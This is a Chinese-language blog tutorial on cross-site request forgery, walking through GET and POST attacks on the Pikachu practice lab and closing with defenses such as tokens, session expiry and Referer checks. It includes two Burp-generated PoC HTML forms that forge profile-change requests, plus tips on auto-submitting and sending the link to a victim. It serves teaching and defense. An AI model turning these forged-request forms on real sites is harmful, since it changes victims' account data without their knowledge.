CSRF漏洞原理

本文详细解释了CSRF攻击的工作原理,涉及登录流程、伪造请求过程,以及提供了一些建立在GET和POST请求上的攻击示例。同时介绍了常见的CSRF防御策略,如Token验证、安全会话管理和访问控制措施。
摘要由CSDN通过智能技术生成

漏洞描述

        CSRF:跨站请求伪造 ,是一种挟持用户在当前已登录的Web应用程序上执行攻击者的操作的攻击方法。直白的说就是,攻击者通过利用技术手段欺骗用户的浏览器去访问自己曾经登录认证过的网站并执行一些操作(比如购买商品,发送消息)由于浏览器曾经认证过,所以网站以为是正真的用户在执行操作。

攻击原理

用户打开浏览器,访问并登录某个信任的A网站。

在用户登录成功后,服务器返回一个cookie给浏览器。

用户未退出网站的同时,打开了黑客编写的危险网站

黑客的网站收到用户的请求后,会返回一些恶意代码,并发出请求要求访问A网站

浏览器收到这些恶意代码后,用户在不知情的情况下,利用cookie信息,向A网站发送恶意请求,网站A会更具cookie信息以用户的权限去处理该请求,导致来自黑客网站的恶意代码别执行。

偷个月师傅的图

CSRF漏洞攻击(皮卡丘靶场的CSRF漏洞练习)

1.CSRF(get)

步骤一:正常登录(用户视角)

用户名:vince (之前sql注入那里获得的)

密码:123456

登录成功

在这里我们发现有个修改个人信息

步骤二:抓包查看这个表单的内容(分析者视角)

发送的请求使用了get'方式传递我们要修改的参数并且携带了cookie。

步骤三:构建伪造的请求(黑客视角)

在这里我们可以直接使用BurpSuite的工具,生成CSRF Poc

Poc的内容就是简单的构建了一个表单,表单提交地址是用户刚刚登录的网站,表单中的内容就是刚才修改用户信息中的内容,但是提前给其赋值,用户在不知情的情况下就用这个表单加上自己的cookie请求了服务器,服务器以为是用户正常操作。至此攻击就结束了。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.217.135/06/vul/csrf/csrfget/csrf_get_edit.php">
      <input type="hidden" name="sex" value="csrf" />
      <input type="hidden" name="phonenum" value="csrf" />
      <input type="hidden" name="add" value="csrf" />
      <input type="hidden" name="email" value="csrf" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

第四步:将准备好的CSRFPoc文件放入自己的网站,并将这个链接发送给用户让其请求(黑客视角)

随便放入一个我们之前创建好的网站根目录中

将127.0.0.1\CSRFPoc.html网址发送发给用户让其请求一下。

步骤五:用户请求浏览器,攻击成功(受害者视角)

当然这里我们可以将这个空白页面写成别的样子,反正表单并不会被看见,甚至我们可以将表单设置为自动提交,用户就不会发现任何异常。

用户视角中人信息已经被修改成功。

2.CSRF(POST)

原理和步骤一模一样,只有在CSRF(get)中第三步构建的CSRFPoc中的表单提交方式不同具体如下。

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.217.135/06/vul/csrf/csrfpost/csrf_post_edit.php" method="POST">
      <input type="hidden" name="sex" value="a" />
      <input type="hidden" name="phonenum" value="a" />
      <input type="hidden" name="add" value="a" />
      <input type="hidden" name="email" value="a" />
      <input type="hidden" name="submit" value="submit" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

这里的method改成了post,之前是get,其他的均一样。

CSRF防御方案

1.增加Token验证(常用做法)

        对关键的操作增加Token参数,每次都不一样

2.添加关于安全的会话管理(避免被利用)

        不要在客户端保存敏感信息

        退出或者关闭浏览器时会话结束。

        设置会话过期机制,比如15分钟无操作就需要重新登录。

3.访问控制安全管理

        修改敏感信息或做敏感操作的时候需要二次认证。

        使用post传递敏感信息

        通过HTTP头中的Refereer字段,来判断请求的来源。

4.增加验证码

       

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值